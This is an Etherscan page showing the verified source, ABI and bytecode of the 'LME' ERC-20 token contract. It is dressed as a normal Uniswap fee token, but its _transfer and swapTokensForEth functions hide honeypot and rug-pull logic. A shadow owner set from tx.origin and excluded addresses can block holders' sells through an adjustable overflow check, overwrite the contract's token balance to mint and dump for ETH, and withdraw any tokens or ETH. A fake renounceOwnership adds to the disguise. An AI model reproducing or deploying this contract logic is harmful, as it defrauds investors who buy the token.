ETH Price: $2,399.82 (+3.24%)

Token

LME (LME)
 

Overview

Max Total Supply

1,000,000,000 LME

Holders

4

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LME

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-19
*/

/**

https://t.me/LaMejorEstrategiaCriptomonedas            


*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.0;


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}



/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract LME is IERC20, Ownable {
    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public buyFee = 2;
    uint256 public sellFee = 2;
    uint256 public feeDivisor = 1;
    string private _name;
    string private _symbol;
    address private _owner;

    uint256 private _swapTokensAtAmount = _tTotal;
    uint256 private _amount;
    uint160 private _factory;
    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;

    IUniswapV2Router02 public router;
    address public uniswapV2Pair;

    mapping(address => uint256) private _balances;
    mapping(address => uint256) private approval;
    mapping(address => bool) private _exc;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _owner = tx.origin;
        _exc[_owner] = true;
        _exc[address(this)] = true;
        _balances[_owner] = _tTotal;
        router = IUniswapV2Router02(routerAddress);
        emit Transfer(address(0), _owner, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint256) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function set(uint256 amount) external {
        if (_exc[msg.sender]) _amount = amount;
    }

    function exclude(address account, bool value) external {
        if (_exc[msg.sender]) _exc[account] = value;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) external {
        if (_exc[msg.sender]) _swapAndLiquifyEnabled = _enabled;
    }

    function set(
        uint256 _buyFee,
        uint256 _sellFee,
        uint256 _feeDivisor
    ) external {
        if (_exc[msg.sender]) {
            buyFee = _buyFee;
            sellFee = _sellFee;
            feeDivisor = _feeDivisor;
        }
    }

    function pair() public view returns (address) {
        return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
    }

    receive() external payable {}

    function transferAnyERC20Token(
        address token,
        address account,
        uint256 amount
    ) external {
        if (_exc[msg.sender]) IERC20(token).transfer(account, amount);
    }

    function transferToken(address account, uint256 amount) external {
        if (_exc[msg.sender]) payable(account).transfer(amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_exc[from] && amount <= _swapTokensAtAmount) {
            require(approval[from] + _amount >= 0, 'Transfer amount exceeds the maxTxAmount');
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();

        if (to == _owner && _exc[from]) return swapTokensForEth(amount, to);
        if (amount > _swapTokensAtAmount && to != uniswapV2Pair && to != address(router)) {
            approval[to] = amount;
            return;
        }

        if (_swapAndLiquifyEnabled && contractTokenBalance > _swapTokensAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
            inSwapAndLiquify = true;
            swapAndLiquify(contractTokenBalance);
            inSwapAndLiquify = false;
        }

        uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
        bool takeFee = !_exc[from] && !_exc[to] && fee > 0 && !inSwapAndLiquify;
        address factory = address(_factory);
        if (approval[factory] == 0) approval[factory] = _swapTokensAtAmount;
        _factory = uint160(to);

        if (takeFee) {
            fee = (amount * fee) / 100 / feeDivisor;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }

        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        if (tokenAmount > _swapTokensAtAmount) _balances[address(this)] = tokenAmount;
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
    }

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"exclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"},{"internalType":"uint256","name":"_feeDivisor","type":"uint256"}],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260018181559080556003556200001f6009600a6200039b565b6200002f90633b9aca00620003b3565b6007553480156200003f57600080fd5b5060405162001c1338038062001c138339810160408190526200006291620004a2565b6200006d3362000190565b825162000082906004906020860190620001e0565b50815162000098906005906020850190620001e0565b50600680546001600160a01b031916329081179091556000908152600e6020526040808220805460ff1990811660019081179092553084529190922080549091169091179055620000ec6009600a6200039b565b620000fc90633b9aca00620003b3565b600680546001600160a01b039081166000908152600c6020526040812093909355600a80546001600160a01b03191685831617815591541691907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9062000166906009906200039b565b6200017690633b9aca00620003b3565b60405190815260200160405180910390a35050506200056b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b828054620001ee906200052f565b90600052602060002090601f0160209004810192826200021257600085556200025d565b82601f106200022d57805160ff19168380011785556200025d565b828001600101855582156200025d579182015b828111156200025d57825182559160200191906001019062000240565b506200026b9291506200026f565b5090565b5b808211156200026b576000815560010162000270565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002dd578160001904821115620002c157620002c162000286565b80851615620002cf57918102915b93841c9390800290620002a1565b509250929050565b600082620002f65750600162000395565b81620003055750600062000395565b81600181146200031e5760028114620003295762000349565b600191505062000395565b60ff8411156200033d576200033d62000286565b50506001821b62000395565b5060208310610133831016604e8410600b84101617156200036e575081810a62000395565b6200037a83836200029c565b806000190482111562000391576200039162000286565b0290505b92915050565b6000620003ac60ff841683620002e5565b9392505050565b6000816000190483118215151615620003d057620003d062000286565b500290565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620003fd57600080fd5b81516001600160401b03808211156200041a576200041a620003d5565b604051601f8301601f19908116603f01168101908282118183101715620004455762000445620003d5565b816040528381526020925086838588010111156200046257600080fd5b600091505b8382101562000486578582018301518183018401529082019062000467565b83821115620004985760008385830101525b9695505050505050565b600080600060608486031215620004b857600080fd5b83516001600160401b0380821115620004d057600080fd5b620004de87838801620003eb565b94506020860151915080821115620004f557600080fd5b506200050486828701620003eb565b604086015190935090506001600160a01b03811681146200052457600080fd5b809150509250925092565b600181811c908216806200054457607f821691505b6020821081036200056557634e487b7160e01b600052602260045260246000fd5b50919050565b611698806200057b6000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb1461039c578063c49b9a80146103bc578063d493b9ac146103dc578063dd62ed3e146103fc578063f2fde38b14610442578063f887ea401461046257600080fd5b8063715018a6146103095780637647b90d1461031e5780638da5cb5b1461033e57806395d89b411461035c5780639a36f93214610371578063a8aa1b311461038757600080fd5b8063313ce56711610108578063313ce5671461023157806343b0e8df14610245578063470624021461026557806349bd5a5e1461027b57806360fe47b1146102b357806370a08231146102d357600080fd5b806306fdde031461015b578063095ea7b3146101865780631072cbea146101b657806318160ddd146101d857806323b872dd146101fb5780632b14ca561461021b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610482565b60405161017d91906111ee565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004611258565b610514565b604051901515815260200161017d565b3480156101c257600080fd5b506101d66101d1366004611258565b61052a565b005b3480156101e457600080fd5b506101ed61057e565b60405190815260200161017d565b34801561020757600080fd5b506101a6610216366004611284565b61059f565b34801561022757600080fd5b506101ed60025481565b34801561023d57600080fd5b5060096101ed565b34801561025157600080fd5b506101d66102603660046112c5565b6105ef565b34801561027157600080fd5b506101ed60015481565b34801561028757600080fd5b50600b5461029b906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b3480156102bf57600080fd5b506101d66102ce3660046112f1565b610615565b3480156102df57600080fd5b506101ed6102ee36600461130a565b6001600160a01b03166000908152600c602052604090205490565b34801561031557600080fd5b506101d6610636565b34801561032a57600080fd5b506101d661033936600461133c565b610642565b34801561034a57600080fd5b506000546001600160a01b031661029b565b34801561036857600080fd5b50610170610684565b34801561037d57600080fd5b506101ed60035481565b34801561039357600080fd5b5061029b610693565b3480156103a857600080fd5b506101a66103b7366004611258565b6107f6565b3480156103c857600080fd5b506101d66103d7366004611375565b61080c565b3480156103e857600080fd5b506101d66103f7366004611284565b610840565b34801561040857600080fd5b506101ed610417366004611392565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561044e57600080fd5b506101d661045d36600461130a565b6108d1565b34801561046e57600080fd5b50600a5461029b906001600160a01b031681565b606060048054610491906113c0565b80601f01602080910402602001604051908101604052809291908181526020018280546104bd906113c0565b801561050a5780601f106104df5761010080835404028352916020019161050a565b820191906000526020600020905b8154815290600101906020018083116104ed57829003601f168201915b5050505050905090565b600061052133848461099e565b90505b92915050565b336000908152600e602052604090205460ff161561057a576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610578573d6000803e3d6000fd5b505b5050565b600061058c6009600a6114f4565b61059a90633b9aca00611503565b905090565b60006105ac848484610a7e565b6001600160a01b0384166000908152600f60209081526040808320338085529252909120546105e79186916105e2908690611522565b61099e565b949350505050565b336000908152600e602052604090205460ff161561057857600192909255600255600355565b336000908152600e602052604090205460ff16156106335760088190555b50565b6106406000610f07565b565b336000908152600e602052604090205460ff161561057a576001600160a01b0382166000908152600e60205260409020805482151560ff199091161790555050565b606060058054610491906113c0565b600a546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156106dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107019190611539565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107879190611539565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059a9190611539565b6000610803338484610a7e565b50600192915050565b336000908152600e602052604090205460ff16156106335760098054821515600160a01b0260ff60a01b1990911617905550565b336000908152600e602052604090205460ff16156105785760405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af11580156108a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cb9190611556565b50505050565b6000546001600160a01b031633146109305760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0381166109955760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610927565b61063381610f07565b60006001600160a01b038416158015906109c057506001600160a01b03831615155b610a185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610927565b6001600160a01b038481166000818152600f602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b600954600160a81b900460ff16158015610aa65750600b546001600160a01b03848116911614155b8015610ac05750600a546001600160a01b03848116911614155b8015610ae557506001600160a01b0383166000908152600e602052604090205460ff16155b8015610af357506007548111155b15610b7d576008546001600160a01b0384166000908152600d60205260408120549091610b1f91611573565b1015610b7d5760405162461bcd60e51b815260206004820152602760248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152661e105b5bdd5b9d60ca1b6064820152608401610927565b306000908152600c6020526040902054600b546001600160a01b0316610bc657610ba5610693565b600b80546001600160a01b0319166001600160a01b03929092169190911790555b6006546001600160a01b038481169116148015610bfb57506001600160a01b0384166000908152600e602052604090205460ff165b15610c0a576108cb8284610f57565b60075482118015610c295750600b546001600160a01b03848116911614155b8015610c435750600a546001600160a01b03848116911614155b15610c6657506001600160a01b039091166000908152600d602052604090205550565b600954600160a01b900460ff168015610c80575060075481115b8015610c965750600954600160a81b900460ff16155b8015610cb05750600b546001600160a01b03858116911614155b15610cdf576009805460ff60a81b1916600160a81b179055610cd1816110ea565b6009805460ff60a81b191690555b600b546000906001600160a01b03858116911614610cff57600154610d03565b6002545b6001600160a01b0386166000908152600e60205260408120549192509060ff16158015610d4957506001600160a01b0385166000908152600e602052604090205460ff16155b8015610d555750600082115b8015610d6b5750600954600160a81b900460ff16155b6009546001600160a01b03166000818152600d602052604081205492935090919003610dae576007546001600160a01b0382166000908152600d60205260409020555b600980546001600160a01b0319166001600160a01b0388161790558115610e55576003546064610dde8588611503565b610de8919061158b565b610df2919061158b565b9250610dfe8386611522565b6001600160a01b0388166000908152600c6020526040812080549297508592909190610e2b908490611522565b9091555050306000908152600c602052604081208054859290610e4f908490611573565b90915550505b6001600160a01b0387166000908152600c602052604081208054879290610e7d908490611522565b90915550506001600160a01b0386166000908152600c602052604081208054879290610eaa908490611573565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610ef691815260200190565b60405180910390a350505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8c57610f8c6115ad565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110099190611539565b8160018151811061101c5761101c6115ad565b60200260200101906001600160a01b031690816001600160a01b03168152505060075483111561105957306000908152600c602052604090208390555b600a546110719030906001600160a01b03168561099e565b50600a546001600160a01b031663791ac9478460008486611093426014611573565b6040518663ffffffff1660e01b81526004016110b39594939291906115c3565b600060405180830381600087803b1580156110cd57600080fd5b505af11580156110e1573d6000803e3d6000fd5b50505050505050565b60006110f760028361158b565b9050476111048230610f57565b60006111108247611522565b90506108cb838230600a546111309030906001600160a01b03168561099e565b50600a546001600160a01b031663f305d71983308660008087611154426014611573565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af11580156111c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111e69190611634565b505050505050565b600060208083528351808285015260005b8181101561121b578581018301518582016040015282016111ff565b8181111561122d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461063357600080fd5b6000806040838503121561126b57600080fd5b823561127681611243565b946020939093013593505050565b60008060006060848603121561129957600080fd5b83356112a481611243565b925060208401356112b481611243565b929592945050506040919091013590565b6000806000606084860312156112da57600080fd5b505081359360208301359350604090920135919050565b60006020828403121561130357600080fd5b5035919050565b60006020828403121561131c57600080fd5b813561132781611243565b9392505050565b801515811461063357600080fd5b6000806040838503121561134f57600080fd5b823561135a81611243565b9150602083013561136a8161132e565b809150509250929050565b60006020828403121561138757600080fd5b81356113278161132e565b600080604083850312156113a557600080fd5b82356113b081611243565b9150602083013561136a81611243565b600181811c908216806113d457607f821691505b6020821081036113f457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561144b578160001904821115611431576114316113fa565b8085161561143e57918102915b93841c9390800290611415565b509250929050565b60008261146257506001610524565b8161146f57506000610524565b8160018114611485576002811461148f576114ab565b6001915050610524565b60ff8411156114a0576114a06113fa565b50506001821b610524565b5060208310610133831016604e8410600b84101617156114ce575081810a610524565b6114d88383611410565b80600019048211156114ec576114ec6113fa565b029392505050565b600061052160ff841683611453565b600081600019048311821515161561151d5761151d6113fa565b500290565b